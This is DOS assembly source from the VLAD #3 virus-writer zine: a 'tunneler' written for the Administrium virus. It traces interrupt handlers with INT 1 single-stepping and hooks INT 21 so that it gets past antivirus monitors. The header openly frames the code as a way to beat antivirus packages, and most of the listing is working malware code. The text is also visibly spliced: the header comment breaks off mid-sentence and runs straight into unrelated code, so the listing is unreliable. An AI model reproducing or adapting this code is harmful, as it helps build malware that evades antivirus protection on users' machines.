; ; ; ; ; ; ; ; ; ; ’ïÅgän's Radical Tunneler ; ; ; ; ; ; ; ; ;
;;; Copyright 1995 by ’ïÅgän/VLAD ;;;
;;; Written specifically for Administrium ;;;
;;; which is unfortunately late ;;;
; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^;
; This is by far the most revolutionary (and largest) tunnel- ;
; er that I have encountered, and I hope that you will agree ;
; with me in awe of its might and power. ;) The basic idea is ;
; that very few AV packages test for tunneling, but those that ;
; do can render a mega-/ 2 == could have disp
jae might_have_disp
cmp al,110b ; it is a 16 bit disp
je do_disp16
ret_save:
mov al,bl ; al = Mod|Reg|R/M again
stosb ; save it
_ret:
test [byte ptr cs:t_flags],0C0 ; any immediate byte/word?
jz do__ret ; 0 = no
test [byte ptr cs:t_flags],80 ; 16 bit immediate?
jz only_1
movsb ; 16 bit immediate for sure
only_1:
movsb ; only 8 bit immediate
and [byte ptr cs:t_flags],not 0C0 ; clear the imm flags
do__ret:
jmp [word ptr cs:saved_retto] ; i.e. ret without stack
might_have_disp:
cmp al,11000000b ; is R/M a register?
jae ret_save ; if so no disp
cmp al,10000000b ; 8-bit displacement?
jb do_disp8
do_disp16: ; must be 16 bit
mov al,bl ; save MoDR/M
stosb
movsw ; save the disp16
jmp _ret ; return to caller
do_disp8:
mov al,bl ; al = ModR/M
stosb ; save it
movsb ; save the disp8
jmp _ret ; return to caller
execute_and_exit:
mov [word ptr cs:retto],offset cont_exe_ret
;; because execute is called by the "isit_0" subroutine to test
;; the operand of a div/idiv instruction for 0, this value must be
;; placed in retto for all other calls to execute since there is a
;; "break" (to use C++ language) in the middle for the exception of
;; div 0 testing
execute:
xchg ax,di ; save code_buf offset
mov [word ptr cs:savedCS],ds
mov [word ptr cs:savedIP],si ; save new CS:IP traced
mov di,cs
mov ds,di
xor di,di
mov es,di ; es:di = INT 1 vector
add di,4
mov si,offset savedINT1 ; ds:si = saved INT 1 vector
movsw
movsw ; set the original vector
;; move a 'jmp [word ptr cs:saved_retto]' into code_buf
mov di,cs
mov es,di
xchg ax,di ; es:di = cs:code_buf
mov ax,0ff2e ;cs:...
stosw
mov ax,(low offset saved_retto) shl 8 + 26
stosw
mov al,(high offset saved_retto)
stosb ; ...jmp [saved_retto]
test [byte ptr cs:t_flags],1 ; use ds=cs?
je no
mov [word ptr cs:saved_retto],offset set_DS_CS
jmp pop_all ; 'call' pop_all
no:
mov [word ptr cs:saved_retto],offset exe_ret1
jmp pop_all
set_DS_CS:
mov ax,[word ptr cs:savedCS]
mov ds,ax ; set DS = CS
mov ax,[word ptr cs:_ax] ; restore ax
exe_ret1:
restore:
mov [word ptr cs:saved_retto],offset exe_ret
jmp codebuf ; do the instruction
exe_ret:
jmp [word ptr cs:retto] ; goto_div if test div 0
cont_exe_ret:
mov [word ptr cs:saved_retto],offset ret_exe
jmp save_all_but_DS ; self-explanatory
ret_exe:
mov ax,ds
mov bx,cs
cmp ax,bx ; ds==cs?
jne noCS_DS ; if ds != cs then save ds
mov ds,[word ptr cs:_ds]
noCS_DS:
mov [word ptr cs:_ds],ds ; save it in case ds != cs
;;******************************************
;; restore the first 6 bytes of our tunneler
mov ax,cs
mov es,ax
mov di,offset trap ; es:di = cs:trap
mov ax,8f2e
stosw
mov ax,(low offset savedIP) shl 8 + 6
stosw
mov ax,2e00 + (high offset savedIP)
stosw
xor ax,ax
mov ds,ax
mov es,ax
mov di,4
mov si,di ; es:di = ds:si = INT 1
lodsw
mov [word ptr cs:savedINT1],ax
lodsw
mov [word ptr cs:savedINT1 + 2],ax ; save changes to INT 1
mov ax,offset trap
stosw
mov ax,cs
stosw ; restore the real INT 1
goto_skip_trap:
mov ds,[word ptr cs:savedCS]
mov si,[word ptr cs:savedIP] ; ds:si = traced cs:ip
jmp skip_trap ; do next instruction
one_byters:
db 6,7,0e
db 16,17,1e,1f
db 27,2f
db 37,3f
db 6c,6dh,6e,6f
db 90,91,92,93,94,95,96,97,98,99,9bh,9e,9f
db 0a4,0a5,0a6,0a7,0aa,0abh,0ac,0adh,0ae,0af
db 0c9
db 0d7
;skip halt (no need to worry if that's executed!)
db 0f5,0f8,0f9,0fa,0fbh,0fc,0fdh
two_byters:
db 04,0c,14,1c,24,2c,34,3c ;add/or/adc/sbb/and/sub/xor/cmp al,ib
db 6a ;push imm8
db 0a8 ;test al,ib
db 0b0,0b1,0b2,0b3,0b4,0b5,0b6,0b7 ;mov rl/h, ib
db 0d4,0d5 ;aam and aad
db 0e4,0e6 ;in/out al,ib
db 0e5,0e7 ;in/out ax,ib
three_byters:
db 05,0dh,15,1dh,25,2dh,35,3dh,45,4dh,55,5dh ;add/or/etc. ax,iw
db 68 ; push imm16
db 0a0,0a1,0a2,0a3 ;mov al/ax,[mx],mov [mx],al/ax
db 0a9 ;test ax,iw
db 0b8,0b9,0ba,0bbh,0bc,0bdh,0be,0bf ;mov rx,iw
modrm:
db 0,1,2,3,8,9,0a,0bh
db 10,11,12,13,18,19,1a,1bh
db 20,21,22,23,28,29,2a,2bh
db 30,31,32,33,38,39,3a,3bh
db 69,6a
db 0c0,0c1,0c4,0c5,0c6,0c7,0d0,0d1,0d2,0d3,0d4
db 0f6,0f7,0fe
abort:
db 0f,63,66,67,0d6,0f1
end_opcodes:
old_CS dw ?
oldint21: ; what you should use to do DOS functions
pushf ; is 'mov ah,function/call oldint21'
db 9a ; call far oldint21
saved21_IP dw ?
saved21_CS dw ?
ret
currentint21:
pushf
db 9a
cur21o dw ?
cur21s dw ?
PSP_seg dw ?
vir_end:
t_flags:
first_MCB:
db ?
db ?
retto:
db ?
db ?
saved_retto:
db ?
db ?
savedSS:
db ?
db ?
savedSP:
db ?
db ?
saved_codebuf:
db ?
db ?
newSP:
db ?
db ?
SSIP:
db ?
db ?
savedCS:
db ?
db ?
savedIP:
db ?
db ?
_ds: dw ?
_es: dw ?
_bp: dw ?
_di: dw ?
_si: dw ?
_dx: dw ?
_cx: dw ?
_bx: dw ?
_ax: dw ?
top_of_stack:
savedINT0: dd ?
savedINT1: dd ?
codebuf:
code_buf db 0c dup (?)
flags: dw ?
db 20 dup (?)
fooger_stack:
db 50 dup (?)
ends code
end tunl_setup
- VLAD #3 INDEX -